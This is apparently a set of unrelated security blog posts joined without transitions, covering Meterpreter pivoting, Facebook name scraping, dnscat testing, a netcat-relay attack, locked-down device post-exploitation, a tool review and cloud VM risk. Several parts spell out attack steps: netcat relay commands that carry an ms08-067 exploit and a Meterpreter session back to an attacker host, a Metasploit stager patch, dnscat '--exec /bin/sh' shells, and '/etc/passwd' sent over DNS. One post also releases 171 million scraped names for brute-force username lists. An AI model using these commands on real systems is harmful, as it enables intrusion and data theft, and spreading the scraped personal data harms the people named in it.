When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm

Anyhow, @jcran pointed out the following things to me:

1) If you are SYSTEM, you won't have the credentials of the logged in user.

2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.

3) The process is the same for finding mapped drives in both Novell and AD.

The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:

1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)

2) getuid (verify that you are now the user)

3) run get_env (this dumps the environmental variables including the mapped drives)

4) cd <drive letter> (browse the drives at your leisure)

Simple enough.  Now if only I'd thought it out first....

Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and that's pretty cool.

Although it's awesome (and humbling) that so much attention was paid (at least for a couple days) to some fairly straight forward work I did, I want to talk about this from my perspective, including why I did it and what I think this means to the community. Then, for fun, I'll end by talking about other places this research can go and open up the floor for some discussion.

Why I did it

The biggest question I get is: why? -- and it's a valid question. Why would I "expose" public data to the public? And, do I get this excited every year when I get the new phonebook?

Well, let's talk about it!

First off, as many of you know, I'm a developer for the Nmap security scanner. Among many, many other things, I've written several of the bruteforce (aka, 'auth') scripts, which are designed to test password strength on a system. The Ncrack tool, a recent addition to the Nmap suite written by Ithilgore, is primarily designed to test password strength by guessing username/password combinations, much like Hydra and Medusa.

When I joined the Nmap project, it came with a set of 8 or so common usernames and a couple hundred common passwords. The original password list, put together by Kris Katterjohn, was entirely based on some exposed MySpace passwords. Those passwords were sub-optimal because they were phished, not leaked/breached, which means passwords with messages to the phishers, like "fuckyou", are artificially common (not to mention "suck my dick" and "piss off cracker head" -- I highly suggest searching the list for swear words and body parts, it's actually really amusing).

Fortunately for us, as password researchers, there were several more password breaches around that same time. One of the most interesting from a research perspective, due to it being the biggest breach at the time (with 188,000 records), was Phpbb. The Phpbb passwords hashed with md5 so converting them into a useful password list was a long process (that, I'm happy to report, is over 98% done -- not by me).

Not too long after the Phpbb breach, RockYou came along. I'm not going to link to my RockYou list directly, because of the size, but it consists of 32 million plaintext passwords and you can find it on my passwords page. From a password research perspective, we couldn't have asked for better data.

Anyway, with all these breaches, keeping track of the lists became a hassle. So, like anybody who doesn't want to do the work himself, I set up a wiki page to keep track of my lists. Since I created it, I've had exceptionally good feedback about from researchers around the world. As far as I know, it's the best collection of breached passwords anywhere. Nmap's current password list is based on extensive research performed by Nmap developers based on our many lists.

Now, back to the Facebook names. There are actually two sides to the situation. The first, and most obvious, occurs when Nmap (or the other tools I mentioned) are performing a password-guessing audit against a host. Before it can guess a password, the program requires a high-quality list of usernames. Those names could be harvested from the site (such as an email directory), they could be created using default usernames lists (such as 'administrator', 'web', 'user', 'guest', etc), or they could be chosen using lists of actual names (such as 'jsmith' or 'rbowes'). That's where this list comes in -- having a list of 10, 100, or 1000 names wouldn't help us much, because there are billions of people in the world, but having a sample of 170 million names is a great cross-section that gives us great insight into the most common names and, therefore, the most common usernames (who would have thought that 'jsmith' would be the most common?)

The second reason, however, is more interesting to me because it continues my research into how people choose passwords. It's a well known fact to anybody in the security field that people choose poor passwords. By studying the most common trends in password choices, we help teach people how to choose better passwords (and hopefully, someday, we'll find a way to eliminate passwords altogether). I hope to put together some numbers showing how many people use passwords based on names. Although I don't have results that I'm comfortable with releasing yet, I hope to put together some statistics in the future. Stay tuned for that!

Getting out of control

I hope now you have some insight into my motives. It was some simple research, how did it become so popular?

Well, the first reason is because when I wrote the the original blog I posted on the subject, I was somewhat careless with my language. As a result, people got the wrong impression and thought I had a lot more data than I actually did. As you can see in the original story posted by the BBC, the whole situation sounded a lot more exciting, and controversial, than it actually was.

Now, at the time that these stories were running, I wasn't at home. In fact, I on that particular day, I was at the Grand Canyon. Now, why would I post some interesting research the day before I was going to the Grand Canyon? Well, all I can say is that planning ahead is overrated. :)

Anyway, because I was out of town, and Canadian telcos charge ludicrous roaming fees, I wasn't in a hurry to answer phonecalls or spend time on the phone doing an interview. Therefore, despite making attempts to contact me, the reporter from the BBC, Daniel Emery, ended up posting the story as he understood it at the time.

Fortunately, that night, me and Daniel had a great email conversation about the work I did. The result was an updated story that very clearly spells out my motivations and, in my opinion, is one of the best stories on the topic.

By then, though, the damage was done. Hundreds of articles were published. All for something that really wasn't a big deal.

I'm thankful, though, that Facebook's response aligned with mine, and that they didn't make any kind of an attempt to pursue legal action or request that I remove the information or anything else. That's a far better response than I'd expected, to be honest, and I have to thank Facebook for that (even if they didn't invite me to their Defcon party ;) ).

What's this data mean?

So, as I said, I collected exactly two pieces of data:

1. The names of 170 million users
2. The URL of those users

I did NOT collect email addresses, friends, private data, public data, or anything else. And the URL might lead to nothing but a name and whatever picture the user chose -- that's what Facebook shares at a minimum. Downloading the actual profile pages of all the users, based on some quick calculations I made, would be about 3tb big. Of course, I don't doubt that somebody is trying. :)

So now, I want to open up the discussion a little. I've been telling reporters (and everybody else) since it started that this data doesn't mean anything, and is only interesting as a research project into common names. My challenge to you, the readers, is: what more can be done with this data?

I've had several email (and real-world) discussions with various people, all of whom will remain unnamed. Some were from businesses, some academia, and some media. Here are some thoughts people have run by me (if you see something that you don't want publicized, please let me know and I'll remove it from this page; I tried to keep these vague enough not to upset anybody, though):

• A business person suggested that companies who publish names for a living (eg, common baby names) might be interested in this data
• Other social network sites might want to check overlaps and/or build links between profiles on their site and Facebook
• In a blog comment, somebody suggested, and is working on, downloading profile pictures for facial recognition
• On IRC, we discussed the possibility of analyzing the user IDs, included in the URLs, to see if it's possible to enumerate non-searchable accounts
• A researcher suggested using this data to study the name letter effect, though I haven't collected enough information for that to be useful
• Similarly, names themselves can be indicative of race/culture -- could this be used for targeted advertising?

So, those are some ideas to expand this research, some of which are actually being worked on right now. And don't get me wrong, those are good ideas, but I'd really like to get some more. Why should we, whether we're security researchers, media, academics, etc, care about having a list of 170,000,000 names and URLs? What can we get from aggregating this data that we didn't have before? What can a good person do with it? What about an evil person?

I'd love to hear most opinions!

Background

Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog editor at the time, and I went through the usual sign off process and, eventually, published it. Facebook was none too happy, but we fought for it and, in the end, we got to leave the blog up in its original form.

Why do I bring this up? Well last week @FSLabsAdvisor wrote an interesting Tweet: it turns out, by heading to https://www.facebook.com/directory, you can get a list of every searchable user on all of Facebook!

My first idea was simple: spider the lists, generate first-initial-last-name (and similar) lists, then hand them over to @Ithilgore to use in Nmap's awesome new bruteforce tool he's working on, Ncrack.

But as I thought more about it, and talked to other people, I realized that this is a scary privacy issue. I can find the name of pretty much every person on Facebook. Facebook helpfully informs you that "[a]nyone can opt out of appearing here by changing their Search privacy settings" -- but that doesn't help much anymore considering I already have them all (and you will too, when you download the torrent). Suckers!

Once I have the name and URL of a user, I can view, by default, their picture, friends, information about them, and some other details. If the user has set their privacy higher, at the very least I can view their name and picture. So, if any searchable user has friends that are non-searchable, those friends just opted into being searched, like it or not! Oops :)

The lists

Which brings me to the next topic: the list! I wrote a quick Ruby script (which has since become a more involved Nmap Script that I haven't used for harvesting yet) that I used to download the full directory. I should warn you that it isn't exactly the most user friendly interface -- I wrote it for myself, primarily, I'm only linking to it for reference. I don't really suggest you try to recreate my spidering. It's a waste of several hundred gigs of bandwidth.

The results were spectacular. 171 million names (100 million unique). My original plan was to use this list to generate a list of the top usernames (based on first initial last name):

 129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan

Or first name last initial:

 100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc

Or even the top usernames based on first name dot last name (sorry, I can't link this one due to bandwidth concerns; but it's included in the torrent):

  17204 john.smith
   7440 david.smith
   7200 michael.smith
   6784 chris.smith
   6371 mike.smith
   6149 arun.kumar
   5980 james.smith
   5939 amit.kumar
   5926 imran.khan
   5861 jason.smith

Or even the most common first or last names:

 977014 michael
 963693 john
 924816 david
 819879 chris
 640957 mike
 602088 james
 584438 mark
 515686 jason
 503658 robert
 484403 jessica

 913465 smith
 571819 johnson
 512312 jones
 503266 williams
 471390 brown
 386764 lee
 360010 khan
 355639 singh
 343220 kumar
 324972 miller

So, those are the top 10 lists. But I'll bet you want everything!

The Torrent

But it occurred to me that this is public information that Facebook puts out, I'm assuming for search engines or whatever, and that it wouldn't be right for me to keep it private. Why waste Facebook's bandwidth and make everybody scrape it, right?

So, I present you with: a torrent! If you haven't download it, download it now! And seed it for as long as you can.

This torrent contains:

• The URL of every searchable Facebook user's profile
• The name of every searchable Facebook user, both unique and by count (perfect for post-processing, datamining, etc)
• Processed lists, including first names with count, last names with count, potential usernames with count, etc
• The programs I used to generate everything

So, there you have it: lots of awesome data from Facebook. Now, I just have to find one more problem with Facebook so I can write "Revenge of the Facebook Snatchers" and complete the trilogy. Any suggestions? >:-)

Limitations

So far, I have only indexed the searchable users, not their friends. Getting their friends will be significantly more data to process, and I don't have those capabilities right now. I'd like to tackle that in the future, though, so if anybody has any bandwidth they'd like to donate, all I need is an ssh account and Nmap installed.

An additional limitation is that these are only users whose first characters are from the latin charset. I plan to add non-Latin names in future releases.

I'd like to see a threefold class system.  The first class would entail an overview of the 10 Domains.  The second would be Offensive Security and the third would be Defensive Security.

There is a reason for that ordering.  Without a good understanding of the fundamentals of security (10 domains) the second two classes will have less value.  Understanding the idea of physical security as well as separation of duties and such really support defensive and offensive security.  Defenders are better when they understand the threats.  Therefore, I place Offensive Security before Defensive Security.  But that's preference.  You could teach them together and make it a two-part class (firewall defense/offense; Linux offense/defense and so forth).

Let's get back to class 1: Information Security Fundamentals.  Here are my general thoughts on how such a class could be arranged if I were to teach it.

I'd assign Shaun Harris' CISSP book.  Each week we would cover the 1 of the 10 domains.  On a MWF schedule, Monday would be the overview of the domain and a discussion of the critical questions that need to be asked about each domain.  Wednesday and Friday would be in depth discussion of the domain.

Because this is an overview class, each Monday the student would be required to have read the chapter covering the domain to be discussed that week.  The student would also write a two-page paper explaining the critical point of the domain discussed the week before.

In this manner, the goal would be to instill into the student a working understanding about the critical ideas of the domain.

I wouldn't make this a CS only class though.  One struggle IT faces is that the business units often purchase software or services that are poorly designed.  IT is then faced with the prospect and demand of fixing/defending dumb apps.  So, I'd make this course a business elective.

Business students would get 1-2 credits and attend Mondays only.  They would get the high level overview.  My pie-in-the-sky hope is that it would start to create an environment in which the business teams would ask generic security questions to sales guys and/or see through marketing lies.

A business student would write their two-page paper for the benefit of an IT staff.  This will hopefully help them improve communication with IT people.  As such the paper would be graded by an CS teacher.

The CS student would write their paper explaining the domain to a business person who doesn't really understand IT.  That paper would be graded by a business teacher.

At least the CS/Business teachers would give a grade and I would give a grade.  Hopefully, (again pie-in-the-sky) this improves ever so slightly the ability to communicate between specialties.

I might even require students to sign up for SANS alert emails and to find recent articles that discuss pro/con the domains we are discussing.  This idea is to keep students learning to read/research in a lifelong way and to encourage them to learn to see how the domains interact with real life.

Maybe in the future we can discuss more in depth the other classes, but for now, I'm leaving this here.  Maybe someone can tweak the general idea and improve it or just use it as is.

Do you have thoughts?

I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer.

I'm hoping for people to test:

• Through different DNS servers (requires an authoritative DNS server)
• With different operating systems (doesn't require an authoritative server) -- I've tested it on Slackware 32-bit, Slackware 64-bit, FreeBSD 8 64-bit, and Windows 2003, those or others would be great!
• With different commandline options (also doesn't require authoritative server)

First off, grab the latest dnscat build from either the nbtool or the dnscat pages (it's the same file). Whether you build it from the source tarball, use the svn, or use the compiled versions, it's all good and let me know which you choose.

You can use the same machine for client/server, or put them on separate machines. Here are the important commands:

• Start the server: dnscat --listen
• Start the server that can handle multiple clients: dnscat --listen --multi
• Start a client with an authoritative nameserver: dnscat --domain <yourdomainname>
• Start a client without an authoritative nameserver: dnscat --dns <dnscatserver>
• Finally, check if you have an authoritative server: dnscat --test <yourdomainname>

Use the --help argument to find the different options. Although all the options could use a workout, I'm particularly interested in how well --exec and --multi function across different operating systems. You can also get a ton more documentation on the wiki page.

Things you can help me out with:

• Does it compile without warnings? Which OS?
• Does it run?
• Can the client/server communicate properly?
• Does running --exec /bin/sh (or --exec cmd.exe) on the client give you a shell on the server
• Does redirecting a bigger file (for example, dnscat --domain skullseclabs.org < /etc/passwd) work properly?
• Do different options you find with --help work the way they're described?
• Any other unexplained weirdness?

Feedback on any or all of those points would be awesome! Also, I'd love to hear any other feedback, bad news, good news, complaints, compliments, or anything of the sort. Either send me an email (my address is on the right) or leave a comment on this post.

Thanks for helping out!

We hired a new pair of co-op students recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and bring a meterpreter session back. Here is what the network looked like:

To describe in text:

• They have already compromised a Web server with a non-root account
• The Web server has no egress filtering, but full ingress filtering, and they aren’t allowed to install anything (fortunately, it already had Netcat)
• The target server has both egress and ingress filtering, and is not accessible at all from the Internet, but the Web server can connect to it on 139/445 (which are vulnerable to ms08-067). The target can also connect back to the Web server on any port.

The challenge was to exploit the target server with ms08-067 and bring a meterpreter session back to the attacker server.

I had expected this would require 3-4 netcat relays, but, after helping them to get this working, we ended up with 5 relays for a variety of reasons, plus a minor patch to Metasploit! Maybe we did it the hard way, and maybe we didn’t need all those relays, but it was fun to set up and satisfying to get working.

Anyway, I’ll let them explain what they did!

Five relays and a patch

The image below shows the various netcat relays we ended up using, in order of execution.

The first goal was to find a way to bypass the firewalls.  Metasploit was using default ports 445 for outgoing and 4444 for incoming connections, and since we can't connect to either of those ports on the Web Server (WEB), we needed the WEB to establish a connection back to us.  Fortunately WEB can connect to TARGET on port 445, and can receive a connection back on any port. Thus 2 netcats are running on the WEB are:

 nc HACKER 1234 -vv < pipe4 |  nc TARGET 445 -vv > pipe4

This command forwards the traffic coming in on port 1234 from the HACKER to TARGET port 445 (Relay #4).

 nc -l -p 4444 -vv < pipe2 | nc HACKER 4442 -vv > pipe2

This command listens for the meterpreter session back from TARGET on port 4444 and relays it to HACKER on port 4442 (Relay #2).

Why does WEB connect on arbitrary port 1234 instead of connecting to Metasploit's port 445? Well, Metasploit doesn't listen on that port, it needs to initiate the connection. So we need a netcat relay running on HACKER to listen for connection from Metasploit and connect it with the incoming connection from the WEB (Relay #3):

nc -l -p 1234 -vv < pipe3 | nc -l -p 445 > pipe3

As you might have noticed the WEB is  connecting back on port 4442, not 4444 on which Metasploit is listening (Relay #2). They cannot be connected directly, as WEB will establish connection immediately when it starts and Metasploit will get confused since its waiting on Meterpreter session and fail. So we need a relay listening on port 4442 on the HACKER and connecting it back to Metasploit, right? Well, not that simple.

 nc -l -p 4443 -vv < pipe1 | nc -l -p 4442 -vv > pipe1

This command will listen for incoming connection from WEB on port 4442 and relay it to port 4443 when that connection is established (Relay #1). This gives Metasploit time to trigger an exploit and we only establish a final connection to Metasploit  once it did by running a final command:

nc HACKER 4444 -vv < pipe5 | nc HACKER 4443 -vv > pipe

This simply establishes a connection to the relay running on the same computer on port 4443 and sends it to Metasploit on port 4444 (Relay #6).

The biggest challenge was getting the timing of the last command right. We needed to activate it after Metasploit starts listening for the reverse_tcp stager but before it sends stage data. If stage data was sent before the entire link was created,the vulnerability would be exploited, but the stage would fail. In order to get the timing right for the final command, a modification to the stager.rb in the lib/msf/core/payload/ folder was necessary. We added a three-second delay after the vulnerability has been triggered and before the stage data was sent in order to give us time to link the netcat relays together for the connection back.

This is the patch against the Metaploit version on the Backtrack 4 cd (it'll likely fail against the HEAD revision due to a number of changes):

Index: stager.rb
===================================================================
--- stager.rb   (revision 8091)
+++ stager.rb   (working copy)
@@ -100,6 +100,9 @@
                                p = (self.stage_prefix || '') + p
                        end

+            print_status("Delaying for three seconds (Start your nc relay).")
+            Kernel.sleep(3)
+
                        print_status("Sending stage (#{p.length} bytes)")

                        # Send the stage
@@ -164,4 +167,5 @@
        #
        attr_accessor :stage_prefix

Now that everything should be (theoretically) working, we had to make sure to start netcat relays in the right order to make sure they can establish connections, and we had to wait before executing #6 until #2 received a connection established message. The -vv command is optional for all nc instances except in #2, where they are used to determine when to execute #6. We first start all the listener relays and then start the relays that establish connections. The commands were executed in the order provided

1. This command is run on the HACKER:

nc -l -p 4443 -vv < pipe1 | nc -l -p 4442 -vv > pipe1

2. This command was run on the WEB:

nc -l -p 4444 -vv < pipe2 | nc HACKER 4442 -vv > pipe2

3. HACKER:

nc -l -p 1234 -vv < pipe3 | nc -l -p 445 > pipe3

4. WEB:

nc HACKER 1234 -vv < pipe4 | nc TARGET 445 -vv > pipe4

5. Now that we have a connection to the target we run an exploit:

./msfcli exploit/windows/smb/ms08_067_netapi
 PAYLOAD=windows/meterpreter/reverse_tcp RHOST=HACKER LHOST=WEB E

6. Last command is run on HACKER when Relay #2 displays a detected connection:

nc HACKER 4444 -vv < pipe5 | nc HACKER 4443 -vv > pipe

Here's the list of the biggest problems I encountered, in the order that I overcame them:

• The user account couldn't 'ls' most folders due to lack of privileges
• Process management tools (like ps) didn't work (thanks to the missing 'ls')
• The user account could only write to designated areas, in spite of file permissions
• Architecture was PowerPC, which I have no experience with
• netstat, ifconfig, arp, and other tools were disabled

I can't talk about how I actually obtained a shell, unfortunately, because the nature of the device would be too obvious. But I will say this: despite all their lockdowns, they accidentally left netcat installed. Oops :)

If you've been in similar situations and found some other tricks, I'd like to hear about them!

Implementing ls

Unfortunately, I was only able to obtain user access, not root. Despite permissions to the contrary, I couldn't run 'ls' against any system folders:

$ cd /
$ ls
/bin/ls: cannot open directory .: Permission denied
$ cd /bin
$ ls
/bin/ls: cannot open directory .: Permission denied
$ find /
/
$ find .
.

And so on. I could, however, run ls on /home/user, /tmp, and subfolders thereof.

As a side effect, I couldn't run the 'ps' command because it didn't have permission to read /proc:

$ ps
Error: can not access /proc.

But I'll get to that later.

After struggling a little, I was happy to discover that the 'which' command was enabled!

$ which ls
/usr/bin/ls
$ which ps
/usr/bin/ps

Great luck! I wrote a script on my personal laptop that would find every executable:

# find / -perm /0111 -type f |       # Find all executable files
  grep -v '^/home'           |       # Remove files stored on /home
  grep -v '\.so$'            |       # Remove libraries
  grep -v '\.a$'             |       # Remove libraries
  grep -v '\.so\.'           |       # Remove libraries
  sed 's|^.*/||'                     # Remove the path

And redirected the output from this script to a file. Then, I uploaded the file to the device using netcat and, after adding the sbin folders to the $PATH, I ran the following command:

$ export PATH=/sbin:/usr/sbin:/usr/local/sbin:$PATH
$ cat my-programs.txt | xargs which | sort | uniq > installed-programs.txt

Which returned a list that looked like:

$ head installed-programs.txt
bin/arch
/bin/bzip2recover
/bin/cpio
/bin/dmesg
/bin/fusermount
/bin/hostname
/bin/ipmask
/bin/kill
/bin/killall
/bin/login

And finally, if you want more information:

$ cat installed-programs.txt | xargs ls -l > installed-programs-full.txt

Which, of course, gives you this type of output:

$ head installed-programs-full
-rwxr-xr-x 1 root   root        2896 2008-03-31 16:56 /bin/arch
-rwxr-xr-x 1 root   root        7696 2008-04-07 00:42 /bin/bzip2recover
-rwxr-xr-x 1 root   root       52800 2007-04-07 12:04 /bin/cpio
-rwxr-xr-x 1 root   root        4504 2008-03-31 16:56 /bin/dmesg
-rwsr-xr-x 1 root   root       19836 2008-03-07 19:52 /bin/fusermount
-rwxr-xr-x 1 root   root        9148 2008-03-31 23:10 /bin/hostname
-rwxr-xr-x 1 root   root        3580 2008-03-31 23:10 /bin/ipmask
-rwxr-xr-x 1 root   root        8480 2008-03-31 16:56 /bin/kill
-rwxr-xr-x 1 root   root       14424 2006-12-19 18:07 /bin/killall
-rwxr-xr-x 1 root   root       44692 2008-03-24 15:11 /bin/login

Success! Now I have a pretty good idea of which programs are installed. I could collect samples from a wider variety of machines than just my laptop, potentially turning up more interesting applications, but I found that just the output from a single Linux system was actually a good enough sample to work with.

Remember, with the full 'ls -l' output, keep your eye out for 's' in the permissions. ;)

Implementing ps

As I mentioned earlier, the ps command fails spectacularly when you can't ls folders:

$ ps
Error: can not access /proc.

The first thing I tried was an experimental 'cat', which worked nicely:

$ cat /proc/1/status
Name:   init
State:  S (sleeping)
[...]

Which tells me that the /proc filesystem is there, and that I have access to their accounting information. The only reason I can't list them is because 'ls /proc' (or the equivalent thereof) is failing. An investigation also told me that /proc/cpuinfo and /proc/meminfo also exist, which were helpful. So, I threw together a quick script to bruteforce the list:

for i in `seq 1 100000`; do    # Take the first 100,000 PIDs
                               #(experimentally determined)
  if [ -f /proc/$i/status ]; then   # Check if the status file exists
    CMDLINE=`cat /proc/$i/cmdline | # Read the commandline
              sed 's/|//g' |        # Remove any pipes (will break things)
              sed "s/\x00/ /g"`;    # Replace null with space
    cat /proc/$i/status |           # Get the process details
      grep 'Name:'      |           # We only want the name
      cut -b7-          |           # Remove the prefix "Name:  "
      sed "s|$| ($CMDLINE)|";       # Add the commandline to the end
  fi;
done

The output for this will look like:

init (init [3]        )
kthreadd ()
[...]
udevd (/sbin/udevd --daemon )
syslogd (/usr/sbin/syslogd )
klogd (/usr/sbin/klogd -c 3 -x )

So now I have a pretty good list of the running processes. Win!

Another option would be to write a patch for procps that implements a bruteforce listing, but that was beyond what I really wanted to do.

Writing to protected areas

This one, I want to be careful with. The reason is, I don't understand what was happening, or why.

In any case, in spite of permissions, I couldn't write to most folders, including /home/user. How they locked it down, I don't know, but I can't touch, cat, grep, etc them.

After some poking, though, I discovered that I could rm files and read/write them using redirection. So, oddly, it would look like this:

$ touch test
touch: cannot touch `test': Permission denied
$ echo "TEST DATA" > test
$ cat test
cat: test: Permission denied
$ cat < test
TEST DATA
$ mv test test2
mv: cannot move `test' to `test2': Permission denied
$ cat < test > test2
$ rm test

That's all I can really say about that one. This bug let me write to some sensitive folders and modify settings I shouldn't have been able to.

PowerPC

The architecture of this device turned out to be PowerPC, which presented an interesting challenge. I've never done any cross compilation before, and I didn't even know where to start. So, I was going to skip it altogether.

Then, this past weekend, my friend brought over a device called WD HD Live. After installing Linux on it, I discovered that, like our old friend WRT54g, it had a MIPS core. So I took a couple hours out and learned how to cross compile for MIPS.

By Monday, I knew everything one or two things about cross compiliation, and was ready to get started! I downloaded Hobbit's Netcat from Debian and compiled it with the crosstool commands (note: I have *no* idea whether or not this is the right way to cross compile; all I know is, it worked :) ):

$ export PATH=/opt/crosstool/gcc-4.1.0-glibc-2.3.6/powerpc-860-linux-gnu/powerpc-860-linux-gnu/bin:$PATH
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10.orig.tar.gz
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10-38.diff.gz
$ tar -xvvzf netcat_1.10.orig.tar.gz
$ gunzip -v netcat_1.10-38.diff.gz
$ patch -p0 < netcat_1.10-38.diff
$ patch -p0 < netcat-1.10.orig/debian/patches/glibc-resolv-h.patch
$ cd netcat-1.10.orig
$ make linux CC=gcc

I successfully copied the new netcat to the device and ran it, to prove that the cross compile worked.

Obviously, using netcat to copy netcat to the device makes very little sense. But the point was to prove that cross compilation works, not that I could do something interesting with it.

No networking tools

Finally, I was dismayed to find out that netstat, ifconfig, arp, and others all returned a "Permission denied" error when I tried to run them. How am I supposed to figure out the system state without them?

Fortunately, none of them require setuid to run, so I downloaded the latest net-tools package, compiled it with the PowerPC toolchain, uploaded them with netcat, and tried them out:

$ ./netstat-ron -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 192.168.155.11:39002    192.168.155.105:3306     TIME_WAIT
tcp        0      0 192.168.155.11:41992    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:37288    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38736    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38652    192.168.155.105:3306     ESTABLISHED

$ ./ifconfig-ron lo
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1285090 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1285090 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130762797 (124.7 MiB)  TX bytes:130762797 (124.7 MiB)

$ ./arp-ron
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.155.1            ether   00:0C:29:7E:21:63   C                     eth0
192.168.155.105          ether   00:50:56:C0:00:00   C                     eth0
192.168.155.144          ether   00:0C:29:42:B7:1B   C                     eth0

Done!

Conclusion

So, I managed to overcome the lockdown on the embedded device. Once I had shell I could do pretty anything I could normally do, in spite of the attempted lockdown. Therefore, I concluded that, in its current state, the lockdown was nearly useless.

I plan to work with the vendor, of course, to help them resolve these issues.

Now, your turn! Have you ever had to use makeshift tools on a locked down system? Any interesting stories?

This is just initial impressions of a beta product.

I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  It's also not multi-threaded.  I'd recommend a dual core box as Express will peg one core.  If you want to do anything else while Express is running, you need two cores. Still, Express does not require an expensive RAM build out. I've run top plenty of times and seen that the RAM usage remains low even when I've had 170+ shells running.  :-p  Hopefully, we'll get multi-threading down the road.  When multiple tasks are running simultaneously, this lack of multi-threading becomes an issue.  Everything slows to a crawl.

Anyway speed issues aside, Express is very slick.  The interface is clean and minimalistic.  At first, things are a little to minimalistic.  It took me a while to realize that I had tasks running; they appeared to start and finish, but had actually moved to the task list.  Express gives subtle hints about tasks running, sessions opened, and updated system information as seen in this screenshot (the blue circles with numbers).

There are a lot of features to talk about, but let me simplify it this way: As long as you are willing to run generic scans, exploits, etc, Express will simplify your pentesting.

Wait, don't go yet.  You can still do quite a bit with this.  (And from my communication with the developers, we will eventually receive the ability to tweak the defaults.) Let's suppose you want to see if anyone is running default usernames and passwords across a large organization.  Express will do that (and give you shell if possible).  Express handles large groups of repetitive tasks well.

Down the road, it would be nice if users can change the defaults if they see a need (maybe your AV picks up this particular default).  Still, as a general rule, the defaults are set because they work in most instances.  You may never need to change anything. (You can run specific modules from the Metasploit kit.)

There are times when the more advanced Metasploit features are needed.  These can be accessed from the console if you tell Metasploit to use the same Postgres DB.  I haven't got that working yet, probably user error.

Anyway, having played with this for a while now, I can't see it replacing my usual toolset.  I'm seldom given an internal IP to test and am seldom allowed to perform social engineering.  So, I'm not certain how much use this will be to me as my access usually starts with a website flaw (file upload, poor password) or router misconfiguration. Now if I could set up multi/handler, execute a payload (social engineering, file upload flaw or such), and then pivot into the organization..., well that would make a BIG difference.

I can see this being worth the price for anyone on an internal security team.  At the least, this will grab all the low hanging fruit and then will grant you the information you need to perform more in depth testing.

This is a good tool for those network admins who also wear the security hat.  They can run NeXpose or Nessus across their environment, import it into Express and demonstrate the need to fix these holes.

Check it out.  And once we leave beta, I'm hoping to write a full review about the various features.  Questions?  Drop me a line or post a comment and I'll see what I can answer for you.

There is a high likelihood that you will find this tool useful in your security testing work.

My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions.

This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  /gah

For the sake of argument, let's assume we are discussing VMs hosted on some provider's (Amazon) VMWare ESX cluster.  This could really apply to any VM on any company's specific VM host, but VMWare is big, popular, and a good basis to work from.  Let's say, some marketing exec bought a package that would hold data on a machine in the cloud.  (You may shoot him later; right now, you have to deal with the issues of integration into your secure environment.)

Now let's suppose that you do not have enough machines to warrant a private cluster.  You will be sharing a cluster with unknown parties.  Fun!  (Ant-acid is found in aisle 5.)

After reading this document, my mind immediately ran to the story of Kevin Mitnick's hacked website.  You may recall that the headlines proclaimed that Mitnick was hacked, when that is only true in the strictest sense.  In reality, it was a shared host, and one of the other sites was running old code and was hacked.  That hack granted the attacker access to modify Mitnick's site.

OK, but are you really at risk this way?  We're talking about VMs here not shared hosting on a poorly configured LAMP stack.   But, surely you've heard of Guest -> Host exploits?  And since this is publicly obtainable software, one *could* setup a duplicate environment and fuzz away at it....  (Not that any entity would do that, of course.)

So theoretically, one of the other unknown/untrusted Guests could use a zero day exploit to compromise the Host.  Then they could compromise all of the co-located Guests on the box.  Cheery thought....  How would you know?  Since they are essentially performing a "man in the middle," the attacker could just watch your traffic and never touch your machine.  All of those techniques for modifying data on the wire come trudging depressingly back to mind.  You couldn't trust the data coming from the user or going to the user.

Further, if the ESX host is compromised, every machine that VMotioned over to it could be compromised.  Every machine that VMotioned off could then run the zero day against a new host.  This would get an entire cluster and possibly migrate to other clusters (though much less likely).

Now one might ask "how" a malicious user/competitor/etc would locate your server in Amazon's cloud and target your machine.  Cue stage right: a paper on doing that very thing (pdf).

So now we are looking at 1) an attacker can find your machine, 2) an attacker could instigate Guest -> Host exploits.  Are you still certain you want to put your data in the cloud?  Ugh.  I can't think of one good reason to do this on a public cloud hosting service.

I know that this is more of a theoretical post and not like Ron's usual posts detailing specific exploitation or research, but I'm interested in your comments.  Am I off base in this reasoning (has happened once or twice before - according to my wife anyway).  What are your thoughts?  Is it worse than I suspect or am I over-reacting?

